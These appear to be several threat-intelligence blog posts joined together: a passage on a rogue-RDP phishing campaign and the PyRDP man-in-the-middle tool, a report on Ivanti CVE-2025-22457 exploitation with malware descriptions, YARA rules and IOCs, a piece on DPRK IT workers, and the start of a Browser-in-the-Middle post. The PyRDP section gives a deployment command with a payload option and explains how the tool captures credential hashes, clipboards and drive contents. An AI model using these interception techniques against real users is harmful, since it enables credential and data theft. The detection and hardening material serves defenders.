From an attacker’s perspective, existence of a signature allows the connection prompt to look less suspicious (i.e., without the usual yellow warning banner), as seen in Figure 8.

Figure 8: Connection prompt (source)

This RDP configuration approach is especially notable because it maps resources from both the adversary and victim machines: 

• This RemoteApp being presented resides on the adversary-controlled RDP server, not the client/victim machine. 

• The Windows environment variables are that of the client/victim that are forwarded to the RDP server as command-line arguments

• Victim file system drives are forwarded and accessible as remote shares on the RDP server. Only the drives accessible to the victim-user initiating the RDP connection are accessible to the RDP server. The RDP server by default has the ability to read and write to the victim’s file system drives

• Victim clipboard data is accessible to the RDP server. If the victim machine is running within a virtualized environment but shares its clipboard with the host machine in addition to the guest, the host’s clipboard will also be forwarded to the RDP server.

Keeping track of what activity happens on the victim and on the server in the case of an attacker-controlled RDP server helps assess the level of control the attacker has over the victim machine. A deeper understanding of the RDP protocol's functionalities, particularly those related to resource redirection and RemoteApp execution, is crucial for analyzing tools like PyRDP. PyRDP operates within the defined parameters of the RDP protocol, leveraging its features rather than exploiting vulnerabilities. This makes understanding the nuances of RDP essential for comprehending PyRDP's capabilities and potential impact. 

More information on RDP parameters can be found here and here.

Resource Redirection

The campaign’s .rdp configuration file set several RDP session properties for the purpose of resource redirection. 

RDP resource redirection enables the utilization of peripherals and devices connected to the local system within the remote desktop session, allowing access to resources such as:

• Printers

• Keyboards, mouse

• Drives (hard drives, CD/DVD drives, etc.)

• Serial ports

• Hardware keys like Yubico (via smartcard and WebAuthn redirection)

• Audio devices

• Clipboards (for copy-pasting between local and remote systems)

Resource redirection in RDP is facilitated through Microsoft's "virtual channels." The communication happens via special RDP packets, called protocol data packets (PDU), that mirror changes between the victim and attacker machine as long as the connection is active. More information on virtual channels and PDU structures can be found in MS-RDPERP.

Typically, virtual channels employ encrypted communication streams. However, PyRDP is capable of capturing the initial RDP handshake sequences and hence decrypting the RDP communication streams.

Figure 9: Victim’s mapped-drives as seen on an attacker’s RDP server

Remote Programs / RemoteApps

RDP has an optional feature called RemoteApp programs, which are applications (RemoteApps) hosted on the remote server that behave like a windowed application on the client system, which in this case is a victim machine. This can make a malicious remote app seem like a local application to the victim machine without ever having to touch the victim machine’s disk. 

Figure 10 is an example of the MS Paint application presented as a RemoteApp as seen by a test victim machine. The application does not exist on the victim machine but is presented to appear like a native application. Notice how there is no banner/top dock that indicates an RDP connection one would expect to see in an interactive session. The only indicator appears to be the RDP symbol on the taskbar.

Figure 10: RDP RemoteApp (MsPaint.exe) hosted on the RDP server, as seen on a test victim machine

All resources used by RemoteApp belong to that of the RDP server. Additionally, if victim drives are mapped to the RDP server, they are accessible by the RemoteApp as well.

PyRDP

While the use of a tool like PyRDP in this campaign cannot be confirmed, the automation capabilities it offers make it an attractive option worth diving deeper into. A closer look at PyRDP will illuminate how such a tool could be useful in this context.

PyRDP is an open-source, Python-based, man-in-the-middle (MiTM) RDP proxy toolkit designed for offensive engagements.

Figure 11: PyRDP as a MiTM tool

PyRDP operates by running on a host (MiTM server) and pointing it to a server running Windows RDP. Victims connect to the MiTM server with no indication of being connected to a relay server, while PyRDP seamlessly relays the connection to the final RDP server while providing enhanced capabilities over the connection, such as:

• Stealing NTLM hashes of the credentials used to authenticate to the RDP server

• Running commands on the RDP server after the user connects

• Capturing the user’s clipboard

• Enumerating mapped drives

• Stream, record (video format), and session takeover

It’s important to note that, from our visibility, PyRDP does not exploit vulnerabilities or expose a new weakness. Instead, PyRDP gives granular control to the functionalities native to the RDP protocol.

Password Theft

PyRDP is capable of stealing passwords, regardless of whether Network Level Authentication (NLA) is enabled. In the case NLA is enabled, it will capture the NTLM hash via the NLA as seen in Figure 12. It does so by interrupting the original RDP connection sequence and completing part of it on its own, thereby allowing it to capture hashed credentials. The technique works in a similar way to Responder. More information about how PyRDP does this can be found here.

Figure 12: RDP server user NTLMv2 Hashes recorded by PyRDP during user authentication

Alternatively, if NLA is not enabled, PyRDP attempts to scan the codes it receives when a user tries to authenticate and convert them into virtual key codes, thereby "guessing" the supplied password. The authors of the tool refer to this as their “heuristic method” of detecting passwords.

Figure 13: Plaintext password detection without NLA

When the user authenticates to the RDP server, PyRDP captures these credentials used to login to the RDP server. In the event the RDP server is controlled by the adversary (e.g., in this campaign), this feature does not add much impact since the credentials captured belong to the actor-controlled RDP server. This capability becomes impactful, however, when an attacker attempts an MiTM attack where the end server is not owned by them.

It is worth noting that during setup, PyRDP allows credentials to be supplied by the attacker. These credentials are then used to authenticate to the RDP server. By doing so, the user does not need to be prompted for credentials and is directly presented with the RemoteApp instead. In the campaign, given that the username RDP property was empty, the RDP server was attacker-controlled, and the RemoteApp seemed to be core to the storyline of the operation, we suspect a tool like PyRDP was used to bypass the user authentication prompt to directly present the AWS Secure Storage Connection Stability Test v24091285697854 RemoteApp to the victim.

Finally, PyRDP automatically captures the RDP challenge during connection establishment. This enables RDP packets to be decrypted if raw network captures are available, revealing more granular details about the RDP session.

Command Execution

PyRDP allows for commands to be executed on the RDP server. However, it does not allow for command execution on the victim’s machine. At the time of deployment, commands to be executed can be supplied to PyRDP in the following ways:

• MS-DOS (cmd.exe)

• PowerShell commands

• PowerShell scripts hosted on the PyRDP server file system

PyRDP executes the command by freezing/blocking the RDP session for a given amount of time, while the command executes in the background. To the user, it seems like the session froze. At the time of deploying the PyRDP MiTM server, the attacker specifies:

• What command to execute (in one of the aforementioned three ways)

• How long to block/freeze the user session for

• How long the command will take to complete

PyRDP is capable of detecting user connections and disconnections to RDP sessions. However, it lacks the ability to detect user authentication to the RDP server. As a user may connect to an RDP session without immediately proceeding to account login, PyRDP cannot determine authentication status, thus requiring the attacker to estimate a waiting period following user connection (and preceding authentication) before executing commands. It also requires the attacker to define the duration for which the session is to be frozen during command execution, since PyRDP has no way of knowing when the command completes. 

The example in Figure 14 relays incoming connections to an RDP server on 192.168.1.2. Upon connection, it then starts the calc.exe process on the RDP server 20 seconds after the user connects and freezes the user session for five seconds while the command executes.

sudo docker run -p 3389:3389 gosecure/pyrdp pyrdp-mitm 192.168.1.2 --payload "timeout 5 & start calc.exe" --payload-delay 20000 --payload-duration 5000

Figure 14: PyRDP deployment command

A clever attacker can use this capability of PyRDP to plant malicious files on a redirected drive, even though it cannot directly run it on the victim machine. This could facilitate dropping malicious files in locations that allow for further persistent access (e.g., via DLL-sideloading, malware in startup locations). Defenders can hunt for this activity by monitoring file creations originating from mstsc.exe. We'll dive deeper into practical detection strategies later in this post.

Clipboard Capture

PyRDP automatically captures the clipboard of the victim user for as long as the RDP connection is active. This is one point where the attacker’s control extends beyond the RDP server and onto the victim machine. 

Note that if a user connects from a virtual environment (e.g., VMware) and the host machine's clipboard is mapped to the virtual machine, it would also be forwarded to the RDP session. This can allow the attacker to capture clipboard content from the host and guest machine combined. 

Scraping/Browsing Client Files

With file redirection enabled, PyRDP can crawl the target system and save all or specified folders to the MiTM server if instructed at setup using the --crawl option. If the --crawl option is not specified at setup, PyRDP will still capture files, but only those accessed by the user during the RDP session, such as environment files. During an active connection, an attacker can also connect to the live stream and freely browse the target system's file system via the PyRDP-player GUI to download files (see Figure 15). 

It is worth noting that while PyRDP does not explicitly present the ability to place files on the victim’s mapped drives, the RDP protocol itself does allow it. Should an adversary misuse that capability, it would be outside the scope of PyRDP.

Stream/Capture/Intercept RDP Sessions

PyRDP is capable of recording RDP sessions for later playback. An attacker can optionally stream each intercepted connection and thereafter connect to the stream port to interact with the live RDP connection. The attacker can also take control of the RDP server and perform actions on the target system. When an attacker takes control, the RDP connection hangs for the user, similar to when commands are executed when a user connects. 

Streaming, if enabled with the -i option, defaults to TCP port 3000 (configurable). Live connections are streamed on a locally bound port, accessible via the included pyrdp-player script GUI. Upon completion of a connection, an .mp4 recording of the session can be produced by PyRDP.

Figure 15: Live session streaming GUI (source: DEF CON Safe Mode Demo Labs - Olivier Bilodeau - PyRDP)

Recommendations for Defenders

This section focuses on collecting forensic information, hardening systems, and developing detections for RDP techniques used in the campaign.

Security detections detailed in this section are already integrated into the Google SecOps Enterprise+ platform. In addition, Google maintains similar proactive measures to protect Gmail and Google Workspace users.

Log Artifacts Default Windows Machine

During testing, limited evidence was recovered on default Windows systems after drive redirection and RemoteApp interaction. In practice, it would be difficult to distinguish between a traditional RDP connection and one with drive redirection and/or RemoteApp usage on a default Windows system. From a forensic perspective, the following patterns are of moderate interest: 

• Creation of the following registry key upon connection, which gives insight into attacker server address and username used:

HKU\S-1-5-21-4272539574-4060845865-869095189-1000\SOFTWARE\ Microsoft\Terminal Server Client\Servers\<attacker_IP_Address> HKU\S-1-5-21-4272539574-4060845865-869095189-1000\SOFTWARE\ Microsoft\Terminal Server Client\Servers\<attacker_server>\UsernameHint: "<username used for connection>"

• The information contained in the Windows Event Logs (Microsoft-Windows-TerminalServices-RDPClient/Operational): 

• Event ID 1102: Logs attacker server IP address

• Event ID 1027: Logs attacker server domain name

• Event ID 1029: Logs username used to authenticate in format base64(sha256(username)).

Heightened Logging Windows Machine

With enhanced logging capabilities (e.g., Sysmon, Windows advanced audit logging, EDR), artifacts indicative of file write activity on the target system may be present. This was tested and validated using Sysmon file creation events (event ID 11). 

Victim system drives can be mapped to the RDP server via RDP resource redirection, enabling both read and write operations. Tools such as PyRDP allow for crawling and downloading the entire file directory of the target system. 

When files are written to the target system using RDP resource redirection, the originating process is observed to be C:\Windows\system32\mstsc.exe. A retrospective analysis of a large set of representative data consisting of enhanced logs indicates that file write events originating from mstsc.exe are a common occurrence but display a pattern that could be excluded from alerting. 

For example, multiple arbitrarily named terminal server-themed .tmp files following the regex pattern _TS[A-Z0-9]{4}\.tmp (e.g., _TS4F12.tmp) are written to the user’s %APPDATA%/Local/Temp directory throughout the duration of the connection.

EventType: FileCreation Parent Process: C:\Windows\System32\mstsc.exe Target Files: --> C:\Users\Spongebob\AppData\Local\Temp\_TS1D72.tmp --> C:\Users\Spongebob\AppData\Local\Temp\_TS7B73.tmp --> C:\Users\Spongebob\AppData\Local\Temp\_TS36B3.tmp

Additionally, several file writes and folder creations related to the protocol occur in the %APPDATA%/Local\Microsoft\Terminal Server Client directory. 

Depending upon the RDP session, excluding these protocol-specific file writes could help manage the number of events to triage and spot potentially interesting ones. It’s worth noting that the Windows system by default will delete temporary folders from the remote computer upon logoff. This does not apply to the file operations on redirected drives.

Should file read activity be enabled, mstsc.exe-originating file reads could warrant suspicion. It is worth noting that file-read events by nature are noisy due to the way the Windows subsystem operates. Caution should be taken before enabling it.

.rdp File via Email

The .rdp configuration file within the campaign was observed being sent as an email attachment. While it's not uncommon for IT administrators to send .rdp files over email, the presence of an external address in the attachment may be an indicator of compromise. The following regex patterns, when run against an organization’s file creation events, can indicate .rdp files being run directly from Outlook email attachments:

/\\AppData\\Local\\Microsoft\\Windows\\(INetCache|Temporary Internet Files) \\Content\.Outlook\\[A-Z0-9]{8}\\[^\\]{1,255}\.rdp$/ /\\AppData\\Local\\Packages\\Microsoft\.Outlook_[a-zA-Z0-9]{1,50}\\.{0,120} \\[^\\]{1,80}\.rdp$/ /\\AppData\\Local\\Microsoft\\Olk\\Attachments\\([^\\]{1,50}\\){0,5}[^\\] {1,80}\.rdp$/ System Hardening

The following options could assist with hardening enterprise environments against RDP attack techniques.

• Network-level blocking of outgoing RDP traffic to public IP addresses

• Disable resource redirection via the Registry

• Key: HKEY_LOCAL_MACHINE\Software\Microsoft\Terminal Server Client

• Type: REG_DWORD

• Value name: DisableDriveRedirection

• Value data: 1

• Configure granular RDP-policies via Group Policy

• Computer Configuration -> Administrative Templates -> Windows Components -> Remote Desktop Services -> Remote Desktop Connection Client

• Allow .rdp files from unknown publishers: Setting this to disable will not allow users to run unsigned .rdp files as well as ones from untrusted publishers.

• Specify SHA1 Thumbprints of certificates representing trusted .rdp publishers: A way to add certificate SHA1s as trusted file publishers

• Computer Configuration -> Administrative Templates -> Windows Components -> Remote Desktop Services -> Remote Desktop Session Host: Policies on enable/disabling

• Resource redirection

• Clipboard redirection

• Forcing Network Level Authentication

• Time limits for active/idle connections

• Blocking .rdp file extension as email attachments

The applicability of these measures is subject to the nature of activity within a given environment and what is considered “normal” behavior.

YARA Rules

These YARA rules can be used to detect suspicious RDP configuration files that enable resource redirection and RemoteApps.

/* Detect RDP config files utilizing RemoteApp and ResourceRedirection */ rule G_Hunting_RDP_File_RemoteApp_ResourceRedir_1 { meta: author = "Google Threat Intelligence Group" description = "Detect RDP config files utilizing RemoteApp and resource redirection" strings: $rdp_param1 = "remoteapplicationmode:i:1" wide $rdp_param2 = "drivestoredirect:s:" wide $rdp_param3 = "remoteapplicationprogram:s:" wide $rdp_param4 = "remoteapplicationname:s:" wide condition: filesize < 20KB and (2 of ($rdp_param*)) } /* Detect RDP config files with a base64 LetsEncrypt certificate */ rule G_Hunting_RDP_File_LetsEncrypt_Signed_1 { meta: author = "Google Threat Intelligence Group" description = "Detects signed RDP configuration files that contain a base64 encoded LetsEncrypt certificate" strings: $rdp_param1 = "full address" wide $rdp_param2 = "redirectclipboard" wide $rdp_param3 = "remoteapplicationmode" wide $rdp_param4 = "compression" wide $rdp_param5 = "remoteapplicationexpandcmdline" wide $rdp_param6 = "promptcredentialonce" wide $rdp_param7 = "allow font smoothing" wide $rdp_param8 = "desktopheight" wide $rdp_param9 = "screen mode id" wide $rdp_param10 = "videoplaybackmode" wide $lets_encrypt_1 = "Let's Encrypt" base64wide $lets_encrypt_2 = "lencr.org" base64wide condition: filesize < 20KB and (any of ($lets_encrypt_*)) and (2 of ($rdp_param*)) } Final Thoughts

This campaign demonstrates how common tradecraft can be revitalized with alarming effectiveness through a modular approach. By combining mass emailing, resource redirection, and the creative sleight-of-hand use of RemoteApps, the actor could effectively leverage existing RDP techniques while leaving minimal forensic evidence. This combination of familiar techniques, deployed in an unconventional manner, proved remarkably effective, proving that the true danger of Rogue RDP lies not in the code, but in the con.

In this particular campaign, while control over the target system seems limited, the main capabilities revolve around file stealing, clipboard data capture, and access to environment variables. It is more likely this campaign was aimed at espionage and user manipulation during interaction. Lastly, this campaign once again underscores how readily available red teaming tools intended for education purposes are weaponized by malicious actors with harmful intentions.

Acknowledgments

Special thanks to: Van Ta, Steve Miller, Barry Vengerik, Lisa Karlsen, Andrew Thompson, Gabby Roncone, Geoff Ackerman, Nick Simonian, and Mike Stokkel. 

References 

• CERT-UA Campaign Post

• MS-RDPBCGR (Remote Desktop Protocol: Basic Connectivity and Graphics Remoting)

• MS-RDPERP (Remote Desktop Protocol: Remote Programs Virtual Channel Extension)

• MS-RDPECLIP (Remote Desktop Protocol: Clipboard Virtual Channel Extension)

• MS-RDPEFS (Remote Desktop Protocol: File System Virtual Channel Extension)

• RDP Properties (Microsoft)

• RDP Properties (donkz.nl)

• Rogue RDP – Revisiting Initial Access Methods (Black Hills Information Security)

• PyRDP GitHub

Written by: John Wolfram, Michael Edie, Jacob Thompson, Matt Lin, Josh Murchie

On Thursday, April 3, 2025, Ivanti disclosed a critical security vulnerability, CVE-2025-22457, impacting Ivanti Connect Secure (“ICS”) VPN appliances version 22.7R2.5 and earlier. CVE-2025-22457 is a buffer overflow vulnerability, and successful exploitation would result in remote code execution. Mandiant and Ivanti have identified evidence of active exploitation in the wild against ICS 9.X (end of life) and 22.7R2.5 and earlier versions. Ivanti and Mandiant encourage all customers to upgrade as soon as possible. 

The earliest evidence of observed CVE-2025-22457 exploitation occurred in mid-March 2025. Following successful exploitation, we observed the deployment of two newly identified malware families, the TRAILBLAZE in-memory only dropper and the BRUSHFIRE passive backdoor. Additionally, deployment of the previously reported SPAWN ecosystem of malware attributed to UNC5221 was also observed. UNC5221 is a suspected China-nexus espionage actor that we previously observed conducting zero-day exploitation of edge devices dating back to 2023.

A patch for CVE-2025-22457 was released in ICS 22.7R2.6 on February 11, 2025. The vulnerability is a buffer overflow with a limited character space, and therefore it was initially believed to be a low-risk denial-of-service vulnerability. We assess it is likely the threat actor studied the patch for the vulnerability in ICS 22.7R2.6 and uncovered through a complicated process, it was possible to exploit 22.7R2.5 and earlier to achieve remote code execution.

Ivanti released patches for the exploited vulnerability and Ivanti customers are urged to follow the actions in the Security Advisory to secure their systems as soon as possible.

Post-Exploitation Tactics, Techniques, and Procedures

Following successful exploitation, Mandiant observed the deployment of two newly identified malware families tracked as TRAILBLAZE and BRUSHFIRE through a shell script dropper. Mandiant has also observed the deployment of the SPAWN ecosystem of malware. Additionally, similar to previously observed behavior, the actor attempted to modify the Integrity Checker Tool (ICT) in an attempt to evade detection.  

Shell-script Dropper

Following successful exploitation of CVE-2025-22457, Mandiant observed a shell script being leveraged that executes the TRAILBLAZE dropper. This dropper injects the BRUSHFIRE passive backdoor into a running /home/bin/web process. The first stage begins by searching for a /home/bin/web process that is a child process of another /home/bin/web process (the point of this appears to be to inject into the web process that is actually listening for connections). It then creates the the following files and associated content:

• /tmp/.p: contains the PID of the /home/bin/web process.

• /tmp/.m: contains a memory map of that process (human-readable).

• /tmp/.w: contains the base address of the web binary from that process

• /tmp/.s: contains the base address of libssl.so from that process

• /tmp/.r: contains the BRUSHFIRE passive backdoor

• /tmp/.i: contains the TRAILBLAZE dropper

The shell script then executes /tmp/.i, which is the second stage in-memory only dropper tracked as TRAILBLAZE. It then deletes all of the temporary files previously created (except for /tmp/.p), as well as the contents of the /data/var/cores directory. Next, all child processes of the /home/bin/web process are killed and the /tmp/.p file is deleted. All of this behavior is non-persistent, and the dropper will need to be re-executed if the system or process is rebooted.

TRAILBLAZE

TRAILBLAZE is an in-memory only dropper written in bare C that uses raw syscalls and is designed to be as minimal as possible, likely to ensure it can fit within the shell script as Base64. TRAILBLAZE injects a hook into the identified /home/bin/web process. It will then inject the BRUSHFIRE passive backdoor into a code cave inside that process.

BRUSHFIRE

BRUSHFIRE is a passive backdoor written in bare C that acts as an SSL_read hook. It first executes the original SSL_read function, and checks to see if the returned data begins with a specific string. If the data begins with the string, it will XOR decrypt then execute shellcode contained in the data. If the received shellcode returns a value, the backdoor will call SSL_write to send the value back.

SPAWNSLOTH

As detailed in our previous blog post, SPAWNSLOTH acts as a log tampering component tied to the SPAWNSNAIL backdoor. It targets the dslogserver process to disable both local logging and remote syslog forwarding.

SPAWNSNARE

SPAWNSNARE is a utility that is written in C and targets Linux. It can be used to extract the uncompressed linux kernel image (vmlinux) into a file and encrypt it using AES without the need for any command line tools.

SPAWNWAVE

SPAWNWAVE is an evolved version of SPAWNANT that combines capabilities from other members of the SPAWN* malware ecosystem. SPAWNWAVE overlaps with the publicly reported SPAWNCHIMERA and RESURGE malware families.

Attribution

Google Threat Intelligence Group (GTIG) attributes the exploitation of CVE-2025-22457 and the subsequent deployment of the SPAWN ecosystem of malware to the suspected China-nexus espionage actor UNC5221. GTIG has previously reported UNC5221 conducting zero-day exploitation of CVE-2025-0282, as well as the exploitation CVE-2023-46805 and CVE-2024-21887. 

Furthermore, GTIG has also previously observed UNC5221 conducting zero-day exploitation of CVE-2023-4966, impacting NetScaler ADC and NetScaler Gateway appliances. UNC5221 has targeted a wide range of countries and verticals during their operations, and has leveraged an extensive set of tooling, spanning passive backdoors to trojanized legitimate components on various edge appliances. 

GTIG assesses that UNC5221 will continue pursuing zero-day exploitation of edge devices based on their consistent history of success and aggressive operational tempo. Additionally, as noted in our prior blog post detailing CVE-2025-0282 exploitation, GTIG has observed UNC5221 leveraging an obfuscation network of compromised Cyberoam appliances, QNAP devices, and ASUS routers to mask their true source during intrusion operations.

Conclusion

This latest activity from UNC5221 underscores the ongoing sophisticated threats targeting edge devices globally. This campaign, exploiting the n-day vulnerability CVE-2025-22457, also highlights the persistent focus of actors like UNC5221 on edge devices, leveraging deep device knowledge and adding to their history of using both zero-day and now n-day flaws. This activity aligns with the broader strategy GTIG has observed among suspected China-nexus espionage groups who invest significantly in exploits and custom malware for critical edge infrastructure.

Recommendations 

Mandiant recommends organizations immediately apply the available patch by upgrading Ivanti Connect Secure (ICS) appliances to version 22.7R2.6 or later to address CVE-2025-22457. Additionally organizations should use the external and internal Integrity Checker Tool (“ICT”) and contact Ivanti Support if suspicious activity is identified. To supplement this, defenders should actively monitor for core dumps related to the web process, investigate ICT statedump files, and conduct anomaly detection of client TLS certificates presented to the appliance.

Acknowledgements

We would like to thank Daniel Spicer and the rest of the team at Ivanti for their continued partnership and support in this investigation. Additionally, this analysis would not have been possible without the assistance from analysts across Google Threat Intelligence Group and Mandiant’s FLARE, we would like to specifically thank Christopher Gardner and Dhanesh Kizhakkinan of FLARE for their support.

Indicators of Compromise

To assist the security community in hunting and identifying activity outlined in this blog post, we have included indicators of compromise (IOCs) in a GTI Collection for registered users.

Code Family

MD5

Filename

Description

TRAILBLAZE

4628a501088c31f53b5c9ddf6788e835

/tmp/.i

In-memory dropper

BRUSHFIRE

e5192258c27e712c7acf80303e68980b

/tmp/.r

Passive backdoor

SPAWNSNARE

6e01ef1367ea81994578526b3bd331d6

/bin/dsmain

Kernel extractor & encryptor

SPAWNWAVE

ce2b6a554ae46b5eb7d79ca5e7f440da

/lib/libdsupgrade.so

Implant utility

SPAWNSLOTH

10659b392e7f5b30b375b94cae4fdca0

/tmp/.liblogblock.so

Log tampering utility

YARA Rules rule M_APT_Installer_SPAWNANT_1 { meta: author = "Mandiant" description = "Detects SPAWNANT. SPAWNANT is an Installer targeting Ivanti devices. Its purpose is to persistently install other malware from the SPAWN family (SPAWNSNAIL, SPAWNMOLE) as well as drop additional webshells on the box." strings: $s1 = "dspkginstall" ascii fullword $s2 = "vsnprintf" ascii fullword $s3 = "bom_files" ascii fullword $s4 = "do-install" ascii $s5 = "ld.so.preload" ascii $s6 = "LD_PRELOAD" ascii $s7 = "scanner.py" ascii condition: uint32(0) == 0x464c457f and 5 of ($s*) } rule M_Utility_SPAWNSNARE_1 { meta: author = "Mandiant" description = "SPAWNSNARE is a utility written in C that targets Linux systems by extracting the uncompressed Linux kernel image into a file and encrypting it with AES." strings: $s1 = "\x00extract_vmlinux\x00" $s2 = "\x00encrypt_file\x00" $s3 = "\x00decrypt_file\x00" $s4 = "\x00lbb_main\x00" $s5 = "\x00busybox\x00" $s6 = "\x00/etc/busybox.conf\x00" condition: uint32(0) == 0x464c457f and all of them } rule M_APT_Utility_SPAWNSLOTH_2 { meta: author = "Mandiant" description = "Hunting rule to identify strings found in SPAWNSLOTH" strings: $dslog = "dslogserver" ascii fullword $hook1 = "g_do_syslog_servers_exist" ascii fullword $hook2 = "ZN5DSLog4File3addEPKci" ascii fullword $hook3 = "funchook" ascii fullword condition: uint32(0) == 0x464c457f and all of them }

Written by: Jamie Collier

Since our September 2024 report outlining the Democratic People's Republic of Korea (DPRK) IT worker threat, the scope and scale of their operations has continued to expand. These individuals pose as legitimate remote workers to infiltrate companies and generate revenue for the regime. This places organizations that hire DPRK IT workers at risk of espionage, data theft, and disruption.

In collaboration with partners, Google Threat Intelligence Group (GTIG) has identified an increase of active operations in Europe, confirming the threat's expansion beyond the United States. This growth is coupled with evolving tactics, such as intensified extortion campaigns and the move to conduct operations within corporate virtualized infrastructure. 

On The March: IT Workers Expand Globally with a Focus on Europe

DPRK IT workers' activity across multiple countries now establishes them as a global threat. While the United States remains a key target, over the past months, DPRK IT workers have encountered challenges in seeking and maintaining employment in the country. This is likely due to increased awareness of the threat through public reporting, United States Department of Justice indictments, and right-to-work verification challenges. These factors have instigated a global expansion of IT worker operations, with a notable focus on Europe.

Figure 1: List of countries impacted by DPRK IT workers

IT Worker Activity in Europe 

In late 2024, one DPRK IT worker operated at least 12 personas across Europe and the United States. The IT Worker actively sought employment with multiple organizations within Europe, particularly those within the defense industrial base and government sectors. This individual demonstrated a pattern of providing fabricated references, building a rapport with job recruiters, and using additional personas they controlled to vouch for their credibility.

Separately, additional investigations uncovered other IT worker personas seeking employment in Germany and Portugal, alongside login credentials for user accounts of European job websites and human capital management platforms.

GTIG has also observed a diverse portfolio of projects in the United Kingdom undertaken by DPRK IT workers. These projects included web development, bot development, content management system (CMS) development, and blockchain technology, indicating a broad range of technical expertise, spanning traditional web development to advanced blockchain and AI applications. 

Specific projects identified include:

• Development of a Nodexa token hosting plan platform using Next.js, React, CosmosSDK, and Golang, as well as the creation of a job marketplace using Next.js, Tailwind CSS, MongoDB, and Node.js. 

• Further blockchain-related projects involved Solana and Anchor/Rust smart contract development, and a blockchain job marketplace built using the MERN stack and Solana. 

• Contributions to existing websites by adding pages using Next.js and Tailwind CSS, 

• Development of an artificial intelligence (AI) web application leveraging Electron, Next.js, AI, and blockchain technologies. 

In their efforts to secure these positions, DPRK IT workers employed deceptive tactics, falsely claiming nationalities from a diverse set of countries, including Italy, Japan, Malaysia, Singapore, Ukraine, the United States, and Vietnam. The identities used were a combination of real and fabricated personas. 

IT workers in Europe were recruited through various online platforms, including Upwork, Telegram, and Freelancer. Payment for their services was facilitated through cryptocurrency, the TransferWise service, and Payoneer, highlighting the use of methods that obfuscate the origin and destination of funds.

Facilitators Support European Operations 

The facilitators used by IT workers to help them get jobs, defeat identity verification, and receive funds fraudulently have also been found in Europe. One incident involved a DPRK IT worker using facilitators located in both the United States and the United Kingdom. Notably, a corporate laptop, ostensibly intended for use in New York, was found to be operational in London, indicating a complex logistical chain. 

An investigation into infrastructure used by a suspected facilitator also highlighted heightened interest in Europe. Resources discovered contained fabricated personas, including resumes listing degrees from Belgrade University in Serbia and residences in Slovakia, as well as instructions for navigating European job sites. Additionally, contact information for a broker specializing in false passports was discovered, indicating a coordinated effort to acquire fraudulent identification documents. One document provided specific guidance on seeking employment in Serbia, including the use of a Serbian time zone during communications. 

Extortion Heating Up

Alongside global expansion, DPRK IT workers are also evolving their tactics. Based on data from multiple sources, GTIG assesses that since late October 2024, IT workers have increased the volume of extortion attempts and gone after larger organizations. 

In these incidents, recently fired IT workers threatened to release their former employers’ sensitive data or to provide it to a competitor. This data included proprietary data and source code for internal projects. 

The increase in extortion campaigns coincided with heightened United States law enforcement actions against DPRK IT workers, including disruptions and indictments. This suggests a potential link, where pressure on these workers may be driving them to adopt more aggressive measures to maintain their revenue stream. 

Previously, workers terminated from their places of employment might attempt to provide references for their other personas so that they could be rehired by the company. It is possible that the workers suspected they were terminated due to discovery of their true identities, which would preclude attempts to be rehired.

The Virtual Workspace: BYOD Brings IT Worker Risks 

To avoid distributing corporate laptops, some companies operate a bring your own device (BYOD) policy, allowing employees to access company systems through virtual machines. Unlike corporate laptops that can be monitored, personal devices operating under a BYOD policy may lack traditional security and logging tools, making it difficult to track activities and identify potential threats. This absence of conventional security measures means that typical evidence trails linked to IT workers, such as those derived from corporate laptop shipping addresses and endpoint software inventories, are unavailable. All of this increases the risk of undetected malicious activity.

GTIG believes that IT workers have identified BYOD environments as potentially ripe for their schemes, and in January 2025, IT workers are now conducting operations against their employers in these scenarios. 

Conclusion 

Global expansion, extortion tactics, and the use of virtualized infrastructure all highlight the adaptable strategies employed by DPRK IT workers. In response to heightened awareness of the threat within the United States, they've established a global ecosystem of fraudulent personas to enhance operational agility. Coupled with the discovery of facilitators in the UK, this suggests the rapid formation of a global infrastructure and support network that empowers their continued operations.

For detailed mitigation and detection strategies, please read our previous report on DPRK IT workers. For even more details, read our IT worker Transform post.

Written by: Truman Brown, Emily Astranova, Steven Karschnia, Jacob Paullus, Nick McClendon, Chris Higgins

Executive Summary

• The Rise of Browser in the Middle (BitM): BitM attacks offer a streamlined approach, allowing attackers to quickly compromise sessions across various web applications.

• MFA Remains Crucial, But Not Invulnerable: Multi-factor authentication (MFA) is a vital security measure, yet sophisticated social engineering tactics now effectively bypass it by targeting session tokens.

• Strong Defenses Are Imperative: To counter these threats, organizations must implement robust defenses, including hardware-based MFA, client certificates, and FIDO2.

Social Engineering and Multi-Factor Authentication

Social engineering campaigns pose a significant threat to organizations and businesses as they capitalize on human vulnerabilities by exploiting cognitive biases and weaknesses in security awareness. During a social engineering campaign, a red team operator typically targets a victim's username and password. A common mitigation used to address these threats are security measures like multi-factor authentication (MFA). 

MFA is a security measure that requires users to provide two or more methods of authentication when logging in to an account or accessing a protected resource. This makes it more difficult for unauthorized users to gain access to sensitive information even if they have obtained one of the factors, such as a password.

Red team operators have long targeted various methods of obtaining user session tokens with a high degree of success. Once a user has completed MFA and is successfully authenticated, the application typically stores a session token in the user's browser to maintain their authenticated state. Stealing this session token is the equivalent of stealing the authenticated session, meaning an adversary would no longer need to perform the MFA challenge. This makes session tokens a valuable target for adversaries and red team operators alike.

Techniques for Targeting Tokens

Red team operators can target these session tokens using a variety of tools and techniques. The most common tool is Evilginx2, a transparent proxy where a red team operator's server acts as an intermediary between the victim and the targeted service. Any HTTP requests made by the victim are captured by the phishing server and then forwarded directly to the intended website. However, before returning the responses to the victim, the server subtly modifies them by replacing any references to the legitimate domain with the phishing domain. This manipulation allows operators to not only capture the victim's login credentials from POST requests but also to extract session cookies (tokens) from the server's response headers after the victim has completed authentication and MFA prompts.

During a red team engagement, a consultant working within a constrained time frame is tasked with achieving a series of objectives that cover a broad spectrum, such as retrieving sensitive employee data (e.g., personally identifiable information [PII]) or even a complete takeover of the target's Active Directory infrastructure. The red team's mission is to simulate a real-world attack and evaluate the effectiveness of the client's security measures by exploiting vulnerabilities and employing various techniques to gain unauthorized access. It is rare for a consultant to deploy a transparent proxy targeting a custom application unique to a client due to the high degree of customization that can be involved during setup.

Transparent proxies require significant customization and configuration to work against a targeted application. This process can be time-consuming, complex, and error-prone, especially for a red team operator targeting multiple applications. Often the operator will have to fully understand the way the application handles sessions and authentication before being able to successfully target the application. Once an application has been fully reduced to a template that is usable with the chosen transparent proxy, red team operators will still need to keep the templates up to date introducing a large amount of overhead.

Dynamic Targeting with Browser in the Middle 

